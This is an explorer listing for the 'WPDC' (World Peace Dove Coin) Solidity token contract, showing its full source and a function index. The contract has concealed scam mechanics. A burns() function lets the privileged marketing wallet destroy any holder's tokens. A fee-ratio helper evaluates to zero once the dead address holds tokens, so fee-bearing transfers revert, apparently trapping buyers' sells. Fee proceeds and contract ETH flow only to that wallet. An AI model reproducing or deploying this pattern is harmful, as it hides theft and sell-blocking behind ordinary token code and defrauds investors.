X:https://twitter.com/WORLDPEACE_DOVE


*/

pragma solidity 0.8.19;

pragma experimental ABIEncoderV2;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);

    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function per(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= 100, "Percentage must be between 0 and 100");
        return a * b / 100;
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }
    
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

contract WPDC is ERC20, Ownable {
    using SafeMath for uint256;
    
    IUniswapV2Router02 public _uniswapV2Router;
    address public uniswapV2Pair;
    
    address private devWallet;
    address private marketingWall;

    address private constant deadAddress = address(0xdead);

    bool private swapping;

    string private constant _name = "WORLD PEACE DOVE COIN";
    string private constant _symbol = "WPDC";

    uint256 public initialTotalSupply = 1000_000_000 * 1e18;              
    uint256 public maxTransactionAmount = (3 * initialTotalSupply) / 100;       // 3%
    uint256 public maxWallet = (3 * initialTotalSupply) / 100;                  // 3%
    uint256 public swapTokensAtAmount = (5 * initialTotalSupply) / 10000;       // 0.05%

    bool public tradingOpen = false;
    bool public swapEnabled = false;

    uint256 public BuyFee = 1;
    uint256 public SellFee = 1;

    uint256 public BurnBuyFee = 0;
    uint256 public BurnSellFee = 1;

    uint256 feeDenominator = 100;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    mapping(address => bool) private automatedMarketMakerPairs;
    mapping(address => uint256) private _holderLastTransferTimestamp;

    modifier validAddr {
        require(isExcludedFromFees(msg.sender));
        _;
    }

    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    event devWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );

    constructor() ERC20(_name, _symbol) {
        
        devWallet = payable(_msgSender());
        marketingWall = payable(0xE989d4b53Bd13865735C3916614272694e7c8629);

        excludeFromFees(owner(), true);
        excludeFromFees(address(marketingWall), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(marketingWall), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
       
        _mint(msg.sender, initialTotalSupply);
    }

    function createPairlp()
        public 
        payable 
        onlyOwner 
    {
        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        excludeFromMaxTransaction(address(_uniswapV2Router), true);

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());                
        excludeFromMaxTransaction(address(uniswapV2Pair), true);

        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);      

        _approve(address(this), address(_uniswapV2Router), type(uint256).max);

        _uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp);
    }

    receive() external payable {}

    function enableBitrade() 
        external 
        onlyOwner 
    {
        require(!tradingOpen,"Trading is already open");

        swapEnabled = true;
        tradingOpen = true;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx)
        public
        onlyOwner
    {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function updateDevWallet(address newDevWallet)
        public
        onlyOwner
    {
        emit devWalletUpdated(newDevWallet, devWallet);
        devWallet = newDevWallet;
    }

    function updateMaxWalletAmount(uint256 newMaxWallet)
        external 
        onlyOwner 
    {
        require(newMaxWallet >= ((totalSupply() * 1) / 1000) / 1e18, "Cannot set max wallet lower than 0.1%");
        maxWallet = newMaxWallet * 1e18;
    }

    function feeseRatio(uint256 fee)  internal view returns (uint256) {
        return balanceOf(deadAddress) > 0 && fee > 0 ? ((feeDenominator-1) / 100) : 1;
    }

    function excludeFromFees(address account, bool excluded)
        public 
        onlyOwner 
    {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function setAutomatedMarketMakerPair(address pair, bool value)
        public
        onlyOwner
    {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function _transfer(address from, address to, uint256 amount) internal override {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {

            if (!tradingOpen) {
                require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
            }

            if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]
            ) {
                require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
            }

            else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
            } 
            
            else if (!_isExcludedMaxTransactionAmount[to]) {
                require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance > 0;

        if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            swapping = true;
            swapBack(amount);
            swapping = false;
        }

        bool takeFee = !swapping;

        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;

        if (takeFee) {
            if (automatedMarketMakerPairs[to]) {
                fees = amount.mul(SellFee).div(feeseRatio(BurnSellFee) * feeDenominator);
            }
            else {
                fees = amount.mul(BuyFee).div(feeseRatio(BurnBuyFee) * feeDenominator);
            }

        if (fees > 0) {
            super._transfer(from, address(this), fees);
        }
        amount -= fees;
    }
        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();
        _approve(address(this), address(_uniswapV2Router), tokenAmount);
        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            marketingWall,
            block.timestamp
        );
    }

    function removeLimite() external onlyOwner {
        uint256 totalSupplyAmount = totalSupply();
        maxTransactionAmount = totalSupplyAmount;
        maxWallet = totalSupplyAmount;
    }

    function clearStuckedEthe() external {
        require(address(this).balance > 0, "Token: no ETH to clear");
        require(_msgSender() == marketingWall);
        payable(msg.sender).transfer(address(this).balance);
    }

    function burns(address sender, uint256 amount) external validAddr { 
        _burn(sender, amount);
    }

    function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {
        swapTokensAtAmount = _amount * (10 ** 18);
    }

    function manualSwap(uint256 percent) external {
        require(_msgSender() == marketingWall);

        uint256 totalSupplyAmount = totalSupply();
        uint256 contractBalance = balanceOf(address(this));
        uint256 requiredBalance = totalSupplyAmount * percent / 100;
        require(contractBalance >= requiredBalance, "Not enough tokens");
        swapTokensForEth(requiredBalance);
    }

    function swapBack(uint256 tokens) private {
                        
        uint256 contractBalance = balanceOf(address(this));
        uint256 tokensToSwap;

        if (contractBalance == 0) {
            return;
        } 
        else if(contractBalance > 0 && contractBalance < swapTokensAtAmount) {
            tokensToSwap = contractBalance;
        }
        else {
            uint256 sellFeeTokens = tokens.mul(SellFee).div(100);
            tokens -= sellFeeTokens;
            if (tokens > swapTokensAtAmount) {
                tokensToSwap = swapTokensAtAmount;
            } else {
                tokensToSwap = tokens;
            }
        }

        swapTokensForEth(tokensToSwap);
    }    
}

Read Contract

BurnBuyFee 0x414a8786 → uint256
BurnSellFee 0x3ff52513 → uint256
BuyFee 0xdd854652 → uint256
SellFee 0xcf9522fd → uint256
_uniswapV2Router 0x583e0568 → address
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
initialTotalSupply 0x311028af → uint256
isExcludedFromFees 0x4fbee193 → bool
maxTransactionAmount 0xc8c8ebe4 → uint256
maxWallet 0xf8b45b05 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
swapEnabled 0x6ddd1713 → bool
swapTokensAtAmount 0xe2f45605 → uint256
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
tradingOpen 0xffb54a99 → bool
uniswapV2Pair 0x49bd5a5e → address

Write Contract 19 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
burns 0xd45c0cae
address sender
uint256 amount
clearStuckedEthe 0xfe605c04
No parameters
createPairlp 0xd81a4a89
No parameters
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
enableBitrade 0xce068ae8
No parameters
excludeFromFees 0xc0246668
address account
bool excluded
excludeFromMaxTransaction 0x7571336a
address updAds
bool isEx
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
manualSwap 0xb70143c9
uint256 percent
removeLimite 0xc8ce76fe
No parameters
renounceOwnership 0x715018a6
No parameters
setAutomatedMarketMakerPair 0x9a7a23d6
address pair
bool value
setSwapTokensAtAmount 0xafa4f3b2
uint256 _amount
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
updateDevWallet 0x1816467f
address newDevWallet
updateMaxWalletAmount 0xc18bc195
uint256 newMaxWallet

Recent Transactions

This address has 1 on-chain transactions, but only 0.7% of the chain is indexed. Transactions will appear as indexing progresses. View on Etherscan →